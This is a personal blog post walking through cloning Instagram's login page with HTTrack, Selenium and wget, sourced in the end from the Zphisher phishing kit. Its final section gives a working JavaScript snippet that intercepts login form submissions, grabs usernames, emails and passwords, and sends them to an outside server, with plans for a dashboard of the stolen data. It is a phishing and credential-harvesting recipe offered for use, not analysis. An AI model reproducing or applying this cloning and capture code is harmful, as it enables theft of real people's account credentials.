Cloning Instagram Login UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget

Cloning a website may seem straightforward, but when I attempted to clone Instagram’s login UI, I faced multiple roadblocks. Instagram, like many modern websites, relies heavily on JavaScript rendering and API calls , making traditional scraping tools ineffective. I tried HTTrack, Selenium, and finally succeeded with Wget. This is my journey of persistence and problem-solving.

🔍 First Attempt: HTTrack (Failed)

HTTrack is a well-known tool for mirroring websites. It can recursively download HTML, images, CSS, and JavaScript , making it seem like the perfect choice for cloning Instagram’s login page. I used the following command:

httrack "https://www.instagram.com/accounts/login/" -O cloned_instagram +*.png +*.jpg +*.css +*.js

🚨 Issues Faced:

• Instagram’s anti-scraping protections blocked the requests , resulting in missing files.
• The login page loads dynamically using JavaScript , but HTTrack only captures static HTML.
• Broken styles and missing images made the cloned page look completely different from the original.

HTTrack is great for static websites , but it failed to capture Instagram’s JavaScript-heavy UI.

🛠️ Second Attempt: Selenium (Partially Worked 😐)

Since HTTrack couldn’t handle dynamic content , I turned to Selenium , which automates browsers and can render JavaScript. My idea was to:

✅ Open Instagram’s login page using Selenium.

✅ Extract the fully rendered HTML source.

✅ Save it as an HTML file.

I wrote this Python Selenium script :

from selenium import webdriver
driver = webdriver.Chrome()
driver.get("https://www.instagram.com/accounts/login/")
html = driver.page_source
with open("cloned_instagram.html", "w", encoding="utf-8") as file:
    file.write(html)

🚨 Issues Faced:

• The script only saved static content , and dynamic elements (like the login form) were missing.
• CSS and images were not downloaded , making the page look broken.
• Instagram loads UI components via JavaScript and API calls , which Selenium does not capture in a simple page source dump.

Selenium worked better than HTTrack , but it wasn’t enough to get a fully functional UI.

🚀 Final Solution: Wget (Success! 🎉)

After multiple failed attempts, I decided to clone a localhost version of Instagram’s UI instead. I used Zphisher , a tool that replicates Instagram’s login UI for educational purposes. It runs a static HTML version on http://127.0.0.1:8080.

To fully clone the page, I used Wget , which recursively downloads entire websites, including images, CSS, and JavaScript files:

wget -r -np -k -E -p -P cloned_localhost http://127.0.0.1:8080

✅ Everything worked perfectly!

• All images, CSS, and JavaScript were properly downloaded.
• The cloned UI looked identical to the original Instagram page.
• No missing elements or broken styles.

Finally, I had a perfect local clone of Instagram’s UI! 🎉

🔑 Lessons Learned from This Experience

1️⃣ HTTrack is great for static sites, but struggles with JavaScript-heavy pages.

2️⃣ Selenium can render JavaScript, but doesn’t capture all assets properly.

3️⃣ Cloning a local version of a site (like Zphisher’s UI) made things easier.

4️⃣ Wget remains one of the best tools for full website mirroring.

After multiple failed attempts, I finally found the right method. If you ever struggle with cloning a site, try Wget first! It might save you hours of debugging. 🚀

🔮 Future Implementation: Injecting a Script to Capture Login Details

Now that I successfully cloned the UI, I am working on a JavaScript injection script that captures user input from login forms and sends it to my database.

The script will:

✅ Detect username, email, and password fields in real-time.

✅ Log the captured details in the console for debugging.

✅ Send the captured data securely to a backend database.

Here’s a basic version of the script:

(function() {
    document.addEventListener("submit", function(event) {
        event.preventDefault(); // Prevent actual form submission
        const form = event.target;
        const inputs = form.querySelectorAll("input[type='text'], input[type='email'], input[type='password']");
        let formData = {};
        inputs.forEach(input => {
            formData[input.name || input.id] = input.value;
        });
        console.log("📥 Captured Data:", formData); // Debugging log
        fetch("https://mydatabase.com/store-data", { // Replace with actual API
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(formData)
        }).then(response => console.log("✅ Data Sent Successfully"))
          .catch(error => console.error("❌ Error Sending Data:", error));
    });
})();

🔹 Next Steps: I will refine this script to ensure secure data transmission and possibly implement a dashboard to track stored data. More updates coming soon! 🚀